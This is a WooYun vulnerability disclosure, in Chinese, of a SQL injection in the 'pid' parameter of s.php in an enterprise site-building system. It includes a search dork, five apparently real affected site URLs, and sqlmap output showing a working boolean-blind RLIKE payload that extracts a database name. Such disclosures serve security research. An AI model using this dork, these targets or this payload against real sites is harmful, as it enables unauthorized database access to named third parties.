当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0105803

漏洞标题：某通用型企业建站系统一处SQL注入

相关厂商：龙采科技

漏洞作者： 路人甲

提交时间：2015-04-07 14:05

修复时间：2015-05-22 14:06

公开时间：2015-05-22 14:06

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-07： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-05-22： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

某通用型企业建站系统一处SQL注入

详细说明：

关键词：inurl:i.php?pid=
漏洞文件：s.php
参数：pid
案例：
http://www.yufeng111.com/s.php?classid=8&id=6&t=2&pid=5
http://www.hrb-bs.com//s.php?classid=8&id=6&t=2&pid=1
http://www.hljorient.com//s.php?classid=8&id=6&t=2&pid=1
http://www.zlanquan.com//s.php?classid=1&id=1&t=1&pid=1
http://www.yuelangzhineng.com/s.php?classid=1&id=1&t=1&pid=1

漏洞证明：

TEST：http://www.yufeng111.com/s.php?classid=8&id=6&t=2&pid=5

Place: GET
Parameter: pid
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
    Payload: classid=8&id=6&t=2&pid=5 RLIKE IF(4322=4322,5,0x28)
---
[12:46:56] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[12:46:56] [INFO] fetching database names
[12:46:56] [INFO] fetching number of databases
[12:46:56] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[12:46:56] [INFO] retrieved:
[12:46:58] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[12:46:58] [ERROR] unable to retrieve the number of databases
[12:46:58] [INFO] falling back to current database
[12:46:58] [INFO] fetching current database
[12:46:58] [INFO] retrieved:
[12:46:59] [WARNING] reflective value(s) found and filtering out
yufeng111
available databases [1]:
[*] yufeng111

修复方案：

RT

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝